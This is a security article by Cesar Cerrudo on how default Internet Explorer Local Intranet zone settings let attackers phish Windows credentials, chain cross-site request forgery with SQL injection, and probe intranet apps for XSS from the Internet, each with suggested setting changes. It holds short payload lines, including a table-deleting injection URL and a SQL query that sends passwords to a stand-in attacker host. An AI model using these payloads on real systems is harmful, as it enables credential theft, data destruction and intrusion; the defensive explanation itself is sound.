This article explains how weak default security settings of Internet Explorer can be abused to identify and exploit vulnerabilities in Intranet applications through remote exploitation with the help of Internet.

Intranet web applications are generally less secure than external Internet sites since they are not commonly security audited while generally believed to be protected through external network segmentation.

Within this article I demonstrate how IE weak default security settings can be abused to identify and exploit vulnerabilities in Intranet applications through remote exploitation (from the Internet).

IE security zones

There are five security zones in IE: Local Machine, Internet, Local intranet, Trusted sites, and Restricted sites.

Within this paper we will focus on default IE settings for the Local Intranet zone. Let's enumerate important facts related to this zone:

• The Local Intranet zone is disabled by default on computers not joined to a domain.

• Intranet sites referred by IP address or by fully qualified domain name are open in Internet zone because the name includes periods.

• Entries in IE address bar that don't include a period and can be resolved to a site are opened in Intranet zone.

The weak settings

“Automatic logon only in Intranet zone”
This setting is set by default and it makes IE to send Windows user credentials automatically and transparently when an Intranet website asks for authentication.

“Websites in less privileged web content zone can navigate into this zone”
This setting allows a website in a less privileged zone, let's say Internet zone, to navigate to Intranet zone which is a more privileged zone. This means that a Internet website is able to reference an Intranet website by including a HTML FRAME or IFRAME from Intranet website.

“Allow script-initiated windows without size or position constraints”
It's enabled by default. On Internet zone this setting is disabled by default since it protect users against spoofing attacks.

“Allow websites to open windows without address or status bar”
This setting is enabled by default. On Internet zone this setting is disabled, this is used as a protection against spoofing attacks.

“Enable XSS filter”
This setting enables and disables the XSS filter in Internet Explorer 8. This setting is disabled by default.

The attacks

Phishing in Windows desktop

Default Local Intranet zone security settings allows the creation of windows of any size at any position without address and status bar. What can we do to abuse this? One thing we can do is phishing in Windows desktop, instead of tricking the user to login to a fake site we trick the user to login in a fake Windows login screen.

The attacker only needs to exploit a XSS vulnerability or to be able to upload arbitrary HTML content in a Intranet website. Then when a victim user browses to the web page controlled by the attacker, script code will be executed and it will open an IE window in full screen mode without title bar, status bar, address bar, scroll bars, etc.

The window will be a perfect imitation of the Windows logon screen tricking the victim to think that the computer is locked and he needs to enter his Windows user name and password, when the victim submits the information it will be sent to the attacker.

In order to prevent this kind of attack set “Allow script-initiated windows without size or position constraints” and “Allow websites to open windows without address or status bar” to Disable, also set “Enable XSS filter” to Enable on the Local Intranet zone.

Cross Site SQL Injection (XSSQLI)

XSSQLI is a term to describe a Cross Site Request Forgery (XSRF) + SQL Injection attack. This attack consists in forcing a user to request a web application URL that will exploit a SQL Injection vulnerability, as XSRF attacks the user can be forced to request a URL by using a HTML IMG, FRAME, IFRAME, STYLE, etc.
tag :

<IMG src=”http://intranetsite/pagevulnerable?id='; delete table”>

When a victim browses a web page with the above HTML code an automatic request will be made to “intranetsite” web application without the user noticing it. The difference with a classic XSRF attack is that instead of the URL requested triggering some action in the target web application it will exploit SQL Injection. Why would one be exploiting SQL Injection in this way? Within Intranets, some web applications implementations use Windows integrated authentication, this means that the user authenticates to the web application with his Windows credentials, which is done automatically by IE because of “Automatic logon only in Intranet zone” security setting. MS SQL Server (other DBMS could be attacked in this way too) also authenticate users with Windows integrated authentication, some web applications are configured to access SQL Server backend database authenticating with the current Windows user that's accessing the web application. If an attacker exploits a SQL Injection vulnerability in this kind of web application isn't as valuable as other attack paths since the attacker could directly connect to SQL Server and run SQL statements as far his permissions allows him but by using XSSQLI in order to attack, for instance a SQL Server DBA, the attacker will be able to elevate privileges running SQL Server statements with DBA permissions.

Performing the attack

The attacker first needs to find out a SQL Injection (or not, some web applications allow to directly run SQL statements) in a web application. Once the attacker finds the SQL Injection vulnerability he only needs to choose a victim and make the victim to visit an attacker controlled web page.

After the victim browses the web page a request will be made to the target web application, the victim will be automatically authenticated to the web application and the SQL statement will be run with victim privileges.

Another possibility is to attack MS SQL Server endpoints [2], these endpoints can be configured as web services so their functionality can be accessed with IE. These web services can accept SQL statements and return the results.

Getting SQL Injection results back

Alex Kouzemtchenko from SIFT (www.sift.com.au) came up with a good and interesting idea [3] which consists of embedding returned data in any HTML tag that can be used for cross domain requests:

SELECT '<img src="http://attackersite.com/log?x=' + password + '" />' FROM users

In the previous example the data returned by the query will be displayed by IE, the HTML tag will be processed making requests to attacker website allowing the attacker to grab all the data returned from the SQL Injection attack.

XSSQLI is a dangerous attack that when targeting SQL Server administrators or other privileged users can have serious impact, such as data being deleted, modified, stolen and server being compromised, etc.

In order to prevent this kind of attacks set Logon security setting on Local Intranet Zone to “Prompt for user name and password”.

When developers gone wild

Many companies have internal or external developers, these developers have access to development systems, they can upload content, configure some servers, install applications, etc.

Attack scenario #1: Owning a development server
An evil developer can upload web pages to an IIS server but he doesn't have administrative access to the server, he's just a regular user. So he uploads a web application that will require Windows authentication and then it will impersonate the authenticated user in order to elevate privileges. After the web application is uploaded the attacker only needs to get an administrator to browse to a URL, that's it, game over, the attacker easily owns the server since IE will automatically authenticate the victim (thanks to “Automatic logon only in Intranet zone” security setting) and the victim will not notice the actual attack.

Attack scenario #2: Owning the network
Again, the attacker can upload web pages to an IIS server, etc. but in this scenario the server is configured to allow delegation [4]. The attacker uploads a web application that will require Windows authentication and it will impersonate the victim user, allowing the attacker to authenticate to remote systems as the impersonated user (delegation allows this), then the web application can easily own servers in the network.

In order to prevent this kind of attacks set Logon security setting on Local Intranet Zone to “Prompt for user name and password”.

The Internet is not the Intranet's friend

Attacking Intranet from Internet
The best option for an attacker would be to be able to identify Intranet web application vulnerabilities and attack them from the Internet. This can be performed due to the default Internet Explorer security setting. The attacker knows and has access to Intranet websites, he can place in an Internet website crafted HTML code with (depending on the attack) hidden HTML Iframes, HTML IMG tags, CSS, etc. that will reference Intranet website resources, then when a victim visits the Internet web page the attack will take place transparently.

Detecting and exploiting Intranet web application vulnerabilities from Internet

-XSRF: An internal attacker can look at HTML code to identify if an Intranet web application is vulnerable to XSRF attacks, he just needs to look for common XSRF protections and if they are not present then the web application will be vulnerable.

-XSS: First the attacker needs to identify possibles XSS vulnerabilities in Intranet web applications by just browsing them, he needs to collect dozen of URLs he suspects which could be vulnerable. In order to test the collected URLs, to identify if they are vulnerable to XSS, the attacker needs to craft specific HTML code and place it on an externally accessible Internet website. The crafted HTML code will have hidden HTML Iframes referencing the previously collected URLs, when the victim Intranet user visits this Internet website IE will request the Intranet URLs in order to load them. Because the attacker is trying to identify if the Intranet web applications are vulnerable to XSS he uses the next simple XSS payload: <img src=”http://attackersite/img1.jpg”>

If the URLs in the Iframes are vulnerable to XSS IE will also request the images from the attacker web site indicating that XSS is successful. This detection of the XSS vulnerabilities could include an actual attack by loading a javascript file instead of an image from the attacker site, the javascript code can launch for instance the Windows desktop phishing attack or numerous other attacks.

-SQL Injection: SQL Injection attacks can be performed by exploiting previously identified XSS vulnerabilities. In overlaying a secondary attack within XSS we can make arbitrary requests to the same website and read the responses allowing to identify and exploit SQL Injection vulnerabilities by examining these responses.

We can conclude that, if the attacker is interested in exploiting a SQL Injection vulnerability in an Intranet web application he just needs to find first a XSS vulnerability in the same web application.

In order to prevent this kind of attacks set “Websites in less privileged web content zone can navigate into this zone” to Disable and set “Enable XSS filter” to Enable on the Local Intranet security zone.

Changing these settings will only help to prevent XSS attacks since SQL Injection and XSRF attacks can still be performed by using SCRIPT, IMG, LINK HTML tags to reference Intranet websites. IE doesn't consider navigation when using those HTML tags just when using FRAME, IFRAME tags or when clicking in a link.

Conclusion

We have just seen that identifying and exploiting vulnerabilities on Intranet web applications isn't overly complicated while the impact of these attacks can lead to further network compromise. It's important to understand that using Internet Explorer with default security settings is not safe for Intranet web applications.

References:

1. http://www.microsoft.com/downloads/details.aspx?familyid=6aa4c1da-6021-468e-a8cf-af4afe4c84b2&displaylang=en&tm

2. http://msdn.microsoft.com/en-us/library/ms345123.aspx

3. http://sla.ckers.org/forum/read.php?13,16930

4. http://msdn.microsoft.com/en-us/library/aa291350(VS.71).aspx

5. http://en.wikipedia.org/wiki/Same_origin_policy

—By: Cesar Cerrudo. Cesar Cerrudo is the founder and CEO of Argeniss (www.argeniss.com), a security consultancy firm based in Argentina. He can be reached at: cesar@argeniss.com. Author’s special thanks to Daniel Clemens, Alex Kouzemtchenko, Juliano Rizzo and Mariano Orsili.